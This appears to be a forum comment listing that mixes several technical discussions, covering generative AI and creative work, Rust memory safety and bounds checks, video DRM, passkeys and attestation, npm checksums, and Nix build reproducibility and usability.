Okay, full disclosure up front: my dayjob has led to me working with LLMs quite a lot for many months at this point, so it’s part of what pays my bills. I’ve also used Stable Diffusion in the past, and have a (now abandoned) project on GitHub that uses it. I don’t think either point is very relevant to the below, but wanted to share potential biases.
I largely agree with the author’s conclusions in this piece, but I couldn’t disagree more about what the obstacles are. I do love this passage overall:
What’s at stake isn’t just quality—it’s an (ethical?) vision of creativity where human expression is valued, creative labour is respected, and technology enhances rather than replaces human capabilities. The possibilities for technology in creative fields should support human creativity, not simulate it.
…but the phrase “creative labor” bothers me. If society treats art as a commodity, then naturally we have “creative laborers” who put their creativity on the open market as a scarcity. Creators are only valued insofar as the supply of creative labor is limited, and as consumer demand or business need for creativity grows.
Sadly, that is pretty descriptive of the status quo, and it’s led to a lot of present-day tensions: YouTubers censoring sensitive topics to appease “the algorithm” and placate advertisers, designers lowering their prices in a race to the bottom on Fiverr, basically all musicians getting only peanuts from Spotify, etc.
I hope this isn’t a hot take: art is intrinsically valuable. I’m sad for all the creatives whose livelihoods have been disrupted by the emergence of AI, but the larger tragedy is that they could only be creative by having their creativity commoditized in the first place. I… don’t have an answer for what an alternative would look like, but it still makes me sad. I strongly feel that GenAI isn’t the root cause of the problem, but rather just shows the gap in how creativity is valued today.
Oh, and a more fun point: I think it’s interesting seeing the kinds of creative things people are making using GenAI today (like actual art where GenAI was a part of the process instead of the final output). The best example I can point to is the intro for Marvel’s Secret Invasion, which infamously used an image generator. I thought it turned out good, and led to a really unique aesthetic that fit really well with the show’s story. More recently, Posy (of YouTube) made a video about “AI” and explored its creative potential, including some really slick optical illusion visuals plus original music that used AI-generated samples (in place of sampling individual songs). Sadly, the video was taken down publicly (still available via Patreon) due to the backlash despite being a clear-cut case of GenAI empowering an artist to try something new.
Copyright law protects creative works and provide creators with control.
Copyright law provides copyright owners with control. As many musicians would tell you, these are absolutely not the same thing. And that’s not to mention models like Adobe Firefly that are trained on licensed works.
The labor issues around AI are vast but copyright isn’t the answer.
Fully agree. If your goal was to kill GenAI, doing so based on copyright infringement would honestly have scary implications. I felt like it wasn’t that long ago that we were celebrating the lawsuit where Google Books defended their ability to allow books to be freely indexed and searched (Authors Guild, Inc. v. Google, Inc.
), and when Google argued that their reimplementation of the Java API in Android fell under Fair Use (Google LLC v. Oracle America, Inc.). I feel like OpenAI losing their lawsuit(s) due to copyright infringement could deal a massive blow to what Fair Use protects on the web today (I am by no means a lawyer though)
I don’t think it would have scary implications - both the Google Books and Android cases fell under fair use because they passed the four prong test for being fair use. Commercial LLMs have would have a hard time doing so, given that they are ingesting whole works, and significantly affecting the market of those works.
Fair use decisions are probably the least impactful decisions that can be taken, since they are very specific, so they don’t apply in a straight forward manner in a lot of other cases.
The article looks more like a list of reasons to prefer Rust?
The function that C couldn’t vectorize looks okay to me in Rust. Rust’s stricter pointer aliasing helps autovectorize loops like this. In this case rse32(u8 data[restrict K], u8 out[restrict N]) improves C too, but Rust can apply it to any mutable slice, and has true immutability too.
Panicking bounds checks are annoying, but they’re optional. When optimizing hot code like that you’re going to spot them anyway (cargo asm makes it convenient). They can be eliminated in many ways — using iterators, or adding a length check outside of the loop, and there’s always unsafe that isn’t any less safe than indexing in C.
You could also get more-or-less the same ergonomics without special syntax today. All you’d need is a wrapper type like UnsafeIndex with custom impls for std::ops::Index and std::ops::IndexMut that use .get_unchecked() / .get_unchecked_mut() internally
It’s a decent workaround, but imo still too cumbersome. For example it’s hard to experimentally disable bounds checks for certain code sections during prototyping, because you would have to add/remove these assignments constantly.
Also, I imagine a bounds_unchecked block to also disable bounds checks in a viral way, so that any part of the call graph that is downstream from this block also has bounds checks removed, including third-party libraries.
This would have been really nice to have in Rust. I’m not sure about making it viral, though — that would require monomorphising all callees over a hidden parameter, which is likely going to be a nightmare for a lot of reasons.
I also dream of a block-style arithmetics mode override (checked/wrapping/saturating), something like:
let x = wrapping! { a + b } + c
This would have been so much nicer than the .add_*() syntax which becomes really ugly really fast.
I’m not entirely sure what the technical answer to this is, but on MacOS, it seemingly involves the GPU and video decoding hardware.
Illuminating!
I recall Marcan who worked on Asahi posted a very technical account of how this all actually works, but since he deleted his Mastodon account I can no longer find it. IIRC it works using the fact that the screen output comes directly from the GPU, and its memory is not directly readable from userspace apps like the screenshot or screen recording tool. Streaming service DRM takes advantage of this by getting the bits directly (to the extent possible) into GPU memory where they can’t be copied by userspace tools. I believe this actually involves stream decryption performed on the GPU or a Trusted Execution Environment, which is why GPU firmware remains closed-source even as their drivers are open-source.
All streaming services implement a variety of quality fallbacks, so if you watch Netflix on Linux in the browser for example you’ll only get 1080p streams at max. In order to watch their 4k content you need a fully locked-down system. The term to search for here is “widevine DRM”.
All of this is to say that the “black screen” you get from screenshots isn’t from DRM swooping in and painting black over the video in the screenshot tool, but because it’s really all the screenshot tool can see - if you try this in a desktop where the video is in a floating window, there will be a black square there, because that’s what userspace sends to be rendered to the GPU and the GPU inserts the video on the GPU.
I don’t remember anything like that from marcan… and there are no secrets in GPU firmware, I’m pretty sure. I don’t even know how you’d implement DRM in the GPU, we haven’t seen any hints of that. In fact the GPU and the display controller are separate hardware and all framebuffers are in main RAM (it’s all unified memory), so there is no way to “directly” output anything from the GPU in a way that can’t be read by the CPU. The GPU firmware is closed source because everything is closed source, Apple didn’t open source anything. It’s not encrypted or secured though, you can just download it from Apple’s CDN and disassemble it. It’s not possible to replace the firmware but that’s not for DRM reasons, it’s due to system security design, and even if it were possible I don’t think there’s any interest in developing open source firmware since it would be a huge amount of work for little gain.
What does exist is some kind of DRM support in the display controller and video decode blocks, I think (see my top level comment).
But there’s a fly in the ointment: certain influential tech people really dislike them. According to DHH:
if you sign up for a service on Windows, and you then want to access it on iPhone, you’re going to be stuck (unless you’re so forward thinking as to add a second passkey, somehow, from the iPhone will on the Windows computer!)…
Disclaimer: I work at 1Password
People keep making this case, but this is only true if you cannot export/sync passkeys. There are password managers—1Password and even I think Apple’s Passwords—that will sync passkeys cross-platform. This shouldn’t be an issue in practice. And, yes, you can’t remember a passkey or easily write it down on paper but given the amount of work regular password management already is, “requiring” software to provide good UX isn’t the worst thing IMO.
1P definitely makes this experience better, but it’s certainly not the default experience for most people. There are people in my life who struggle with 2FA, especially around backing up tokens. I have a hard time imagining that I would be able to get them on board with passkeys, much less installing more software to make passkeys’ use easier.
On the contrary, passkeys require zero extra software and vastly simplify the experience for ordinary non-technical people. Now they don’t need to muck around with passwords anymore, they can just tap their finger or scan their face to log in. This is the first genuine usability improvement for online security in at least two decades.
Your post outlines what is essentially a way to coordinate (“sync”) passkeys using magic links. With that, yes, you can use multiple devices to your heart’s content.
Using magic links works in theory and likely in practice, but it isn’t foolproof either. I’ve seen setups where someone hasn’t yet signed into their email on a device or their email client opens up the wrong browser/etc. There’s rough edges with every approach.
My point is simply that the ideal UX is syncing one passkey across devices using, ideally, 1st party software with a great ootb experience. This is already possible. You’re absolutely right that in lieu of that, you could also use magic links as described to work around it.
A ‘foolproof in practice’ auth method doesn’t exist. So we must haggle about what is the best tradeoff between security and UX for the vast majority of end users who are non-technical, non-power users, and will never go for the hassle of maintaining password managers.
Magic Links are a great way to provide additional flexibility in your application’s authentication system. With Passage, you have the ability to create Magic Links that can be delivered in any way you like - custom email templates, in-app chat messages, or anything else you can think of. Embedding Magic Links in your marketing emails, reminder texts, or other mediums can greatly reduce user friction and increase conversion rates.
So we must haggle about what is the best tradeoff between security and UX for the vast majority of end users who are non-technical, non-power users
No. We can let the user decide. Instead, the arrogance with which some people and services (especially big cloud providers) push their agendas is precisely one of the reasons why people (including me) are very hesitant with passkeys. History has made us aware.
As I’ve said many times, for ordinary non-technical people, this is not the kind of decision that they care about nor want to make. Normal people just want secure accounts that are not extremely difficult to use. They are not going to set up password managers. Many don’t even bother to remember passwords; they just log in every time with ‘forgot password’.
For power users like yourself, you can just use a good password manager to store all your passkeys and never have to use magic links at all.
I personally don’t find it productive to engage in discussions about ‘arrogance’ and ‘agendas’. All the options are in front of you, you have complete freedom as a user. No one is locking you into anything. Not sure what ‘history’ you are ‘aware’ of, but if it’s something relevant to this discussion please feel free to make it instead of spreading FUD.
I personally don’t find it productive to engage in discussions about ‘arrogance’ and ‘agendas’. All the options are in front of you, you have complete freedom as a user.
Do I? Last time I checked GitHub forced me into 2FA, for zero increase in security since I already use a password manager, and I stored the second factor in my password manager for convenience.
Yes, but it’s zero increased security for you. For all the GitHub users who use the same password across N different sites, TOTP codes are a massive improvement to their security posture. Which, in turn, is good for everyone when you start to think about the supply-chain security risks.
It’s a 100% indisputable fact of life today that, if you have a user pick a password, some users are going to re-use passwords from other sites and/or use a very weak password. Passkeys bring the advantages of password managers to everyone else: it’s both way more secure because it’s a unique token for a single site (which is also significantly harder to phish for!), and it’s more convenient because it gets filled in for you. And, unlike, say, Chrome’s built-in password manager, it’s not something you can just ignore and do insecurely anyway.
Personally, rolling out passkeys has barely affected me at all (I’ll take a few seconds to set one up in 1Password if given the option on a site). But– hopefully– it’ll raise the bar for security for everyone else, preventing a lot of the actual practical attacks we’ve seen affect ordinary people.
It’s not black and white. Counterexample: person A uses github for their library X, person B relies on X. Now A loses access to their account and gives up. No further security updates for X unless B actively switches. Now you can claim that this is a rare scenario and I would agree.
Still, my feeling is that those pushing for passkeys are actively trying to talk down or hide the negative parts. The same for 2FA/MFA.
Furthermore, I suspect that the increased control and datamining is something those companies really like. That’s why so many companies only require a phone number. Or other data. Google employees dark patterns. When logging in, it ask you for your birthday and does not even allow you to reject just close the question. It seems like you are forced to give it to log in. However, you can actually just close the browser tab and you are already logged in.
Sorry, but these things take a away trust. At least for me, the burden is now on those services to proof that they are not having bad intentions. And right now, it looks to me like they have. Hence, I’m not willing to give them more power.
Well there you go. GitHub requires users to set up security factors, as is their right. And you the user can store the security factors in your favourite password manager, as is your right. Each party in the transaction has all the freedoms it needs to operate.
GitHub requires users to set up security factors, as is their right.
There’s a tension between their rights, and that of their users. I was lucky they even allowed TOTP, because from their UI I could clearly tell they preferred webauthn. And if one day they decide I need to use a passkey with remote attestation, where all the approved providers only accept an app that runs on an unrooted Android or Apple phone?
Call me paranoid, but since that’s currently the best way I know of to actually secure an account for most users, they have a justification for going this route. And then you could say I am totally free to use any other service instead of GitHub… if it wasn’t for the obvious next step: policies of not pulling in code from sources other than properly secured providers, where “properly” means MFA of the kind I’ve just outlined.
Feels like the old freedom/security tradeoff all over again.
You realize that even if passkeys didn’t exist, the policymakers would still exist and find other ways to make and enforce these policies, right? What you are arguing about has nothing to do with passkeys except in the most tangential sense.
What you are arguing about has nothing to do with passkeys except in the most tangential sense.
There is in the standard itself (Webauthn I believe?) support for cryptographic verification of the passkey provider (the entity/software/dongle that generated the key pair). Which means the standard supports remote attestation. While remote attestation has some legitimate uses, putting it right there in the standard facilitates abusive generalisation.
So there’s your tangent: the standard is an enabler, and I don’t like enablers.
So if I understand correctly you don’t like companies that manufacture kitchen knives? Because they are enablers of people who can do bad things with kitchen knives?
Irrelevant for ordinary users, and missing the point. Read my post, with my strategy backing up passkeys is an obsolete way of thinking when you just log in on any new device with a magic link.
So we must haggle about what is the best tradeoff between security and UX for the vast majority of end users who are non-technical, non-power users, and will never go for the hassle of maintaining password managers.
Does this require not providing any alternative for those who do use a password manager? Like, if there’s an alternative, then some non-technical users are gonna use it and get pwned, so we’d better not?
But this is just my design and recommendation. Others can obviously implement whatever they please. I just happen to think that the added complexity would not be worth it.
Oh I agree it’s far the the default experience, and I’d say far from the ideal experience. My early work on 1Password was its onboarding process and I’ve sat in on enough user interviews/user research that I’ll be the first to say there’s plenty users don’t understand.
Frankly, I think that assertion was an overreach. He explained later that RPs (Relying Parties, ie service providers) could block KPXC because it doesn’t properly verify the user when required to:
the lack of identifying passkey provider attestation (which would allow RPs to block you,
That is a choice that RPs can legitimately make for user security reasons. But I don’t see how they can block specific passkey managers by name.
Attestation existing in the protocol at all seems dangerous to me: inevitably, someone will start whitelisting specific providers “for user security” and then users start having to spread passkeys among providers and non-big-tech providers get frozen out.
someone will start whitelisting specific providers “for user security” and then users start having to spread passkeys among providers and non-big-tech providers get frozen out.
It is an allowlist. I have a FIDO2 level 2 token that is certified and not accepted because a-trust blocks it. There is also no browser or software implementation, only specific keys are allowed.
It allows for third party veto in case of missing required security attestation. Security standards sometimes need to be strict. This is no different from sites disabling TLS <1.3 for security reasons.
Can you explain to me how I can configure my TLS library such that it only allows connections from Google implementations of TLS 1.3 running on Android, and blocks any implementations written by someone other than Google?
This would be equivalent to attestation – instead of requiring a correct implementation of an open protocol, attestation requires a specific device or manufacturer.
That’s incorrect. Attention just says what level of verification was done and what the authenticator was. Attention in and of itself doesn’t require anything; it’s inert data. It’s up to each Relying Party (ie service account provider) to decide what attention requirements they want to enforce.
And if you think about it for a second, it’s obvious why. WebAuthn is a web protocol. The web is built on top of open access protocols where anyone is supposed to be able to participate. If passkey SDK providers start recommending that it be locked down to specific hardware, that will quickly break the web. And nobody wants that.
You seem to be projecting your incentives on to me. Like I said earlier, I don’t care either way because I think this ‘problem’ is way overblown and only a theoretical concern. Relying Parties ie account providers don’t have an incentive to go out of their way to block large swathes of potential users over which devices they’re using. That’s a great way to kill business. And in practice most people are using devices which will have certified authenticators anyway.
Close, but it’s actually ‘we reliably verified that the claimed user is the one making the request’. So actually the opposite of ‘not under end-user control’.
we reliably verified that the claimed user is the one making the request
This is advertisement.
We reliably verified which device model (and possibly which firmware revision) claims to have checked that the user intended to use the passkey.
This is probably close to the technical definition.
We are sure the user was forced to use a device where neither data availability nor user identification policies take user’s preferences, needs, and priorities.
Is how the accepted device list for attestations will be implemented 99% of time, and I would like to see the remaining cases.
Like I said previously, I don’t see how a specific passkey manager can get blocked. The attestation just says whether user verification was done or not. It doesn’t say what the password manager is (as far as I know).
“Attestation” sounds like the kind of remote attestation sometimes demanded of some specific services.
For instance, you get hired in this security company, and they mandate a second factor with a USB dongle. The dongle has 2 private keys: one for you, that could be changed or reset at any time, and one for itself, that comes with a certificate that the device had been manufactured by this or that company.
Remote attestation would be that when you plug your key, the IT system not only asks for your key, it also asks your dongle to certificate the public half, and since the dongle is configured to provide certificates only for keys that it generated itself (that’s a promise of the dongle manufacturer), your company knows for sure your private key can’t leave the dongle, and thus you’re really logging in with the dongle.
Now it makes sense for companies, because leaking employee credentials doesn’t just harm the employee, it may harm the company itself. In this case you may not want to rely on the goodwill or conscientiousness of the employee, and just mandate they use the company issued dongle. That is much less of an issue with public-facing services, where when an account is compromise, the damage tend to be confined to that account.
Now replace “dongle” by “ID provider”, point out that GitHub repository or NPM package compromise can easily have far reaching consequences, and you have your foot in the “oligopolies in the name of consumer protection” door.
(You can try it yourself, there is no way to enroll 1password or a similar thing, it needs to be one of those hardware tokens. They even denylist old yubikeys by firmware version)
someone will start whitelisting specific providers “for user security”
That’s not possible at scale. The ‘someone’ would have to go to every Relying Party and get them to accept the whitelist. The decision is up to each Relying Party ie account service provider what attestation/authenticator they will accept. So your bank might decide to accept only certain known and certified ones, while your ecommerce site might accept others.
But again, I think we are getting too bogged down in the weeds here. For the majority of ordinary, non-technical people, who will use their platforms’ built-in passkey management, all this will work completely fine.
I strongly prefer nightly’s BorrowedBuf design over the proposed idea of “freezing” memory. I sleep better at night knowing that there’s no (sound) way today to read uninitialized memory today in Rust!
Sure, it’s valid at the machine level… but zeroing out the memory ensures that a private key or other sensitive value doesn’t flow somewhere it doesn’t belong. I feel that this idea of “freezing” like this is such a footgun that I hope it stays out of Rust for good.
Ironically, I think the section that shows the danger around &mut [MaybeUninit<_>] from the footnote[^1] is the best case that could be made for BorrowedBuf. You can’t express a “must-write” buffer in safe Rust today, and MaybeUninit is tricky to use soundly. So, let’s add a new lightweight, flexible, and super cheap abstraction! (I think it’s fair to say that BorrowedBuf could be generic, but honestly it’d probably be very rare to use it for non-u8 buffers, so I think it’s sensible to keep it specific).
And for prior art, Tokio has a nearly identical ReadBuf type (https://docs.rs/tokio/1.43.0/tokio/io/struct.ReadBuf.html). They even use the same “initialized / uninitialized” and “filled / unfilled” split, which I personally found very intuitive when dealing with partially-initialized buffers while writing (async) reader and writer impls.
Fedor Indutny pointed out that npm’s lockfile, package-lock.json, contains a checksum of the package file. The npm people couldn’t easily re-compress existing packages without breaking things.
Is… is it just me or does it seem like it’d be better for npm to have the checksum of the uncompressed file? Or maybe even better: a checksum of a deterministic archive format instead of a general tarfile?
If the checksum was uncompressed, then that would let npm swap to a better compressor seamlessly, or switch to a better compression algorithm like zstd for newer npm builds, or even recompress packages to gzip “on the fly” while silently using better compression behind the scenes
Is there a reason that npm’s lockfile uses a hash of the .tar.gz file? Is there some benefit, e.g. maybe for preventing “zip bomb” style attacks?
I am confused what the problem with unsound_copy is. It looks essentially like what I would expect this to be. The author states that changes to the compiler or compiler’s options can break this, but that seems very uncharacteristic for rustc to me. Rust doesn’t even change the behavior of integer overflow under high optimization, so I would be astonished if reinterpreting bytes somehow retroactively broke.
They also point out that changing the std::io::Read trait to a different trait could break this behavior, but isn’t this why Rust chose nominal polymorphism? So that the author of code can guarantee that this doesn’t happen? If std::io::Read is the trait that works, the function should continue using that. This use-case feels like exactly the reason that unsafe exists in the language at all, unless I am missing something.
I think it’s that you’re creating a reference to uninitialized memory (which requires a valid live T and proper alignment). Further you’re taking that possibly invalid reference, converting to a raw pointer and the back to a reference which again requires certain invariants be upheld to be sound. Anytime a reference is created, even temporarily, in unsafe alarms should be going off. This is why people talk about unsafe Rust being more difficult than C because of all the ways to produce a foot gun, and worse a foot gun that may appear to work. Also Rust doesn’t guarantee things like padding or field order without a repr. It’s allowed to change those details even between runs of the same compiler.
I think what you said is true, but there’s another issue too, which I think is more fundamental. Consider this impl:
impl std::io::Read for BadReader {
fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
// (This space intentionally left blank)
// Return that we filled the buffer (we didn't)
Ok(buf.len())
}
}
This breaks the contract of std::io::Read, but it’s still valid and safe Rust. Working backwards, this means unsafe code can’t assume that the read function properly fills the buffer. The docs for std::io::Read say as much (https://doc.rust-lang.org/stable/std/io/trait.Read.html#tymethod.read):
Correspondingly, however, callers of this method in unsafe code must not assume any guarantees about how the implementation uses buf. The trait is safe to implement, so it is possible that the code that’s supposed to write to the buffer might also read from it. It is your responsibility to make sure that buf is initialized before calling read. Calling read with an uninitialized buf (of the kind one obtains via MaybeUninit) is not safe, and can lead to undefined behavior.
If there were to be a new method, say something like this:
The word reproducible tends to invite more discussion over the word itself than is helpful to the advancement of more reproducible systems. I’m not saying this post is unhelpful, but that it’s an argument about whether reproducible can mean “practically reproducible” or strictly bitwise reproducible.
It’s reasonable to call NixOS “reproducible”, but not reasonable to claim that it’s bitwise reproducible. I’m not aware of anyone making that claim.
To place Linux distributions into classes of reproducibility, it doesn’t make sense to place NixOS and Guix in the same class with Arch, Ubuntu, Gentoo, etc.
So NixOS is not bitwise reproducible, but is significantly more reproducible than others. We simply lack the nomenclature to describe its class, and while we lack the nomenclature, calling it reproducible is not unreasonable, albeit imprecise. We need a better word.
Please take no offense at what I’m going to say: did you read the article? It says that 91 % of nixpkgs is bitwise reproducible. The NixOS minimal ISO is 99% reproducible: https://reproducible.nixos.org/nixos-iso-minimal-r13y/.
I don’t think Arch or Ubuntu or Gentoo claims 100 % bitwise reproducibility neither, do they?
I have seen for years the argument that no one can verify NixOS bitwise reproducibility at scale, when someone do, it’s still not bitwise reproducibility. I am not sure what can be done at this point.
I use the term “repeatable” to mean “the build runs again” and “reproducible” to mean “the build produces bit-for-bit identical output”, but I have no idea whether or not this is conventional.
I usually use rebuildable and reproducible for the same concepts, but yeah I think the problem is that the vocabulary can be a little bit blury in this field
You used the term “bitwise reproducible”; that’s what adjectives are for! I think it’s reasonable to allow that some words are just imprecise, or have multiple related meanings, and generally need clarification appropriate to the level of technical detail in any particular technical context. The word “functional” comes to mind; I’m sure you can think of others.
I’m not sure that the discussion about the wording is that interesting to be honest, even if I have to admit that I did use it as motivation for the blog post.
There are several interpretation of the word reproducible, and they have sometimes been used interchangeably in wrong contexts.
Essentially, different concepts of reproducibility give you different properties that can or not be relevant depending on your usecase. This paper is essentially about software supply chain security where bitwise reproducibility is the level needed to increase trust in binary distributions.
Seems like a good caveat to add to the article!
Being familiar with Nix, I understood “locally recompiled the integrality of the packages from these revisions” as no substituting at all, fetching the source code from the cache sounds fine to me, but probably worth a sentence :)
Also, how did you allow fetching the source code from the cache, but not the build outputs?
Best idea I have is an overlay that changes all the builders to use preferLocalBuild = true, while setting the fetchers to false.
Sorry if this is all covered in your paper! I didn’t see it from a quick look.
Also another caveat I didn’t think of before opening the paper, but is obvious in retrospect: you can only validate reproducibility of packages that are still in the cache.
Noting how many that represents of the total set of packages would be interesting.
P.S. Merci pour ton travail, et celui du reste de l’équipe. It’s really cool to have this information!
The vocabulary here is really unfortunate and has always bothered me! At a minimum, I think there’s value in pointing out that there are two separate definitions at play.
I feel both definitions are totally valid, it just sucks that the term is used interchangeably when there’s very little overlap between the two definitions. I think this has misled and confused lots of folks, and I wish we’d have clearly separate terms for each (maybe I’ll adopt jackdk’s “repeatable” and “reproducible” terminology too)
Definitions aside, I really enjoyed the research here– the work on vetting package reproducibility is extremely valuable and insightful!
Where are people using “reproducible builds” in a sense that doesn’t mean bitwise reproducible? I don’t remember seeing anyone quibble about it before.
Nix builds packages in isolation from each other. This ensures that they are reproducible and don’t have undeclared dependencies, so if a package works on one machine, it will also work on another.
(Well, you could argue NixOS is using it to mean “bitwise reproducible”, but I’d say that doesn’t track, since TFA shows that Nix alone doesn’t ensure builds are bitwise reproducible)
I don’t exactly remember where I saw it, but a weak point I could kiiinda agree on was in the context of comparing distros. If all they had to do was fix the timestamp, i.e. iirc if the diffoscope output yielded nothing but timestamp variance, I also think it was a bit disingenuous to harp on it not being reproducible, even if it wasn’t bit for bit, but virtually the same binary for any meaningful definition of bugs/backdoors/etc.
So yeah, I’m 90% with you, it has a meaning and most people use it that way. Arguing semantics is silly unless someone is arguing in bad faith already.
The interesting thing to me is that of the reasons listed for non-reproducibility are fairly trivial. Embedded environment variables could have some impact, but all the other issues are more or less what I’d consider false positives that could not affect functionality.
If you want reproducible binaries that can be verified by hash, then what you are calling “functionality” is not the immediate concern. But I do agree, this is an encouraging result: most of the sources of non-reproducibility could be patched, if you do need a binary-identical reproducible build.
The only reason bazel works is because it creates bit-perfect reproducible outputs.
You can’t claim reproducible if your environment affects your outcome because what is built on one machine can differ from another- meaning you can’t treat them as interchangeable.
Nix is very popular, so people will have a need to emotionally defend this point, but it is the only way that bazel ensures you can do distributed build and caching- without actual reproducibility (not just the ability to step through a build with the same compiler setup) then you can’t scale your build and artifact infrastructure. I’m aware that most people don’t care though- and that Nix is a major improvement on things like Ansible;
The default toolchain you get with Bazel for C++ and Java does, but in general it doesn’t. In fact, bitwise reproducibility isn’t something that a build system itself can solve generally[^1]. There are some obvious sources of non-reproducibility like writing the date during the build, but Reproducible Builds has a good list of the more subtle sources too: https://reproducible-builds.org/docs/commandments/
As someone also working on tooling in this space, Bazel and Nix (with sandboxing enabled) take very similar approaches of using Linux namespaces to isolate builds, and I think that’s the right target for a general-purpose build system. Bazel uses the term “hermeticity”, which I like.
[1]: Okay, I think a build system could guarantee bitwise reproducibility with arbitrary compilers / build tools, but I would say it’s not really practical. It’d need to provide a fully deterministic environment– say, a Wasm runtime or tightly controlled VM or something– where all possible sources of randomness and non-determinism are controlled.
I don’t disagree, but it is a specific goal of each “rules_x” build rules to be hermetic, because without hermetic build environments and bit-wise reproducibility you cannot achieve distributed incremental compilation. Which is an explicit goal of Bazel.
Build systems are clever enough that incremental compilations can be solved by just looking at the changed files along with the computed build graph. You “just” rebuild the dependent artifacts.
No bit-for-bit reproducability is needed for this.
Well, you just coordinate the work to do for the unit of compilation across your nodes? Distributed does not bring any special challenge, see https://www.distcc.org/ and ccache for prior art. They do not have any bit-to-bit or hermeticity tricks.
Incremental compilations in hermetic meta build systems like Nix are the real challenges, and approaches like https://nlnet.nl/project/Zilch/ pushes the frontier on what we know on how to build such systems.
From what I understand, distcc helps with distributed compilation but not incremental build.
IE; you have to build at least once on every machine that will be firing off compilation.
If you compile an object file at CL1234 and I take latest (CL1235) I will have to compile your object file for myself too, and so will everyone in the company, so builds have to be repeated constantly.
FWIW in GameDev there are solutions for this such as FastBuild and Incredibuild (and something Sony is working on, but I can’t recall the name, SDB?). Incredibuild being the most feature complete, but disgustingly expensive.
From what I understand, distcc helps with distributed compilation but not incremental build.
Right: the point is that the distribution is mostly separate from the incrementality. So there shouldn’t be much of an additional concern (from a theoretical standpoint) about whether the build is distributed or not.
Hence the question “How [do non-hermetic incremental builds] work in a distributed build system?” is probably asking the wrong thing. Even on the same machine, the build is meaningfully distributed across separate threads or processes, yet the techniques for incrementality don’t change much, including in the absence of hermeticity.
My presumption (based, I think on the fact I read it in a book) is that incrementality is determined by metadata, such as last modified time. Which tends not to exist, or is incredibly noisy in a distributed filesystem of any kind.
A target is out of date if it does not exist or if it is older than any of the prerequisites (by comparison of last-modification times).
I worked at a company which successfully did builds on NFS, in spite of all the mtime issues, so it’s certainly possible.
Incrementality need not be determined strictly by metadata:
Many build systems, Bazel included, use content-hashing for incrementality, rather than relying on mtimes.
So you can recover incrementality even if mtimes or similar are not available, as long as you can keep a reliable database/graph of some sort separately from the inputs.
I am absolutely not an expert in this topic, but Nix only depends on the inputs. An output’s hash is simply the inputs’ and the “rule” used to build it.
This way, you can simply check if the hash calculated with an updated input exists on another machine already, or not.
I’m also not an expert on nix by any measure, but I said this earlier:
You can’t claim reproducible if your environment affects your outcome because what is built on one machine can differ from another- meaning you can’t treat them as interchangeable.
This whole thread is discussing the difference between repeatable building and actually bit-perfect reproducible building.
You need the latter if you want to do distributed incremental build; or, I’m not smart enough to understand how it would work otherwise.
That’s what I was trying to describe - if your hashes only contain the repeatable script that builds them and their transitive dependencies’ hashes, then you can cache/incremental build from any point on any device - you never use the actual output to calculate the hash, so even if two builds are not 100% bit-by-bit identical, it will be considered the same by the build system (and unless you have a buggy compiler, it should be functionally equivalent).
Say, my project depends on A and B, and B depends on C. If I change C, but all the other build descriptions and inputs remain the same then B will have its hash changed as well, which will transitively cause the rebuild of my project as well. But my project is free to cache/download the results of A, as its hash remained the same.
For Bazel: typically the host requesting the build computes the entire build graph, dispatching cache presence requests followed by build jobs as it does to the remote builders.
It required and still requires a lot of effort to make compilers themselves produce the same output for the same environment and input. Many tasks are ordered on a “which finished faster” bases, which might affect something in the final binary.
Nix can only do so much if the exact same commands in the exact same, sandboxed environment doesn’t produce the same output.
These build tools can slowly be patched over time with this in mind, but that won’t happen overnight.
I mostly agree, but I think the latter is actually “these are probably functionally equivalent, and I am going to accept that I can’t know for sure” at scale. For an individual build you can manually assess it and determine that the difference is just this one timestamp that is not used anywhere, but verifying that for more than a handful of builds would be pretty tedious.
ime you can know for sure - if you have a build/test pipeline A -> B -> C and A is a cache hit because its inputs didn’t change, B builds successfully, and C builds/runs successfully, you’re as confident in the software as if you had reproducible builds.
In practice, yes, that’s why Nix and Bazel are pretty damn reliable. But in theory, if you have any nondeterminism in your build system, the result can be arbitrarily severe.
For a silly example, you can imagine a build step that branches on the value of CPUID (which is available inside the nix sandbox) and then either builds curl or wget.
I used to daily drive NixOS in 2018 (for ~9 months before jumping ship), and this pretty well captures most of the pain points I had back then (which, in turn, is what drove me to start work on my own package manager!)
Declarative configuration
I was originally really enamored with using NixLang to configure all my installed software… until I tried to get an Nginx server up and running on NixOS. It seemed really convenient, until I found that Nix didn’t expose an option for some Nginx feature I was trying to use. I could still do it, but only by using the “escape hatch” to manually append a raw string within a section of the Nginx config. Not only did I need to learn the nuance of NixOS’s configuration options for Nginx (poorly documented, at the time at least), but I then also needed to learn the nuance of Nginx’s configuration and syntax, and I also needed to read the source of the NixOS Nginx module to figure out how the final config value was being concatenated so I could get my config to work properly.
That really soured me on NixOS’s “configure everything in NixLang” approach. It’s a leaky abstraction, and an unnecessary one when it’d be simpler to just manually write out the config the software expects (which IIRC NixOS lets you do, but it’s not the idiomatic way to do it)
Development environments
I started using Nix pre-Flakes, so I’m not sure if Flakes make things better here, but dev environments were my biggest letdown when I first jumped on the Nix bandwagon. Setting up a Nix dev environment was extremely painful the first time, but I hoped that it’d slowly become second nature as I got practice. It never did– by the time I jumped ship, I still felt like I was fighting NixOS to get dev projects up and running.
As for newer solutions like Flox and Devenv… I haven’t tried them, but I’ve always been worried in the back of my mind that– like the pain I felt with NixOS’s declarative configs– they’d be a leaky abstraction on top of Nix. Well, even if they’re not leaky, I also felt Nix as a dependency is extremely heavy: it needs to install the store globally under /nix, plus it’s (usually) set up to run builds via a daemon. It’s sensible both for Devenv and its ilk use Nix as a base, and for Nix to be set up this way, but… I never ended up trying them because, for me at least, it was too tough a pill to swallow
when it’d be simpler to just manually write out the config the software expects (which IIRC NixOS lets you do, but it’s not the idiomatic way to do it)
I don’t know, I absolutely love that for the predominantly common scenario I can usually just search for the NixOS option, add a single line into my configuration file of services.x.enable = true, and a couple other basic config options, and be done. I don’t have to learn this random tool’s entire config syntax, obscure options, read its documentation, etc. Plus the ideal config will be stored in one place, which I won’t forget backing up, or even that it ever existed (unlike one that is in some random folder).
And out of all my services, most of them are like this. And as you say, nix does allow for escape hatches for the rare exception. In my view this is obviously better than no easy declerative way for the common configs, not even having the option.
(Though nginx is indeed one of the few examples that can have very complex configurations where the nix-exposed knobs will quickly end up short)
Not only did I need to learn the nuance of NixOS’s configuration options for Nginx (poorly documented, at the time at least), but I then also needed to learn the nuance of Nginx’s configuration and syntax, and I also needed to read the source of the NixOS Nginx module to figure out how the final config value was being concatenated so I could get my config to work properly.
Yeah, I think this kind of obligatory config templating is usually an antipattern, for exactly the reason you describe.
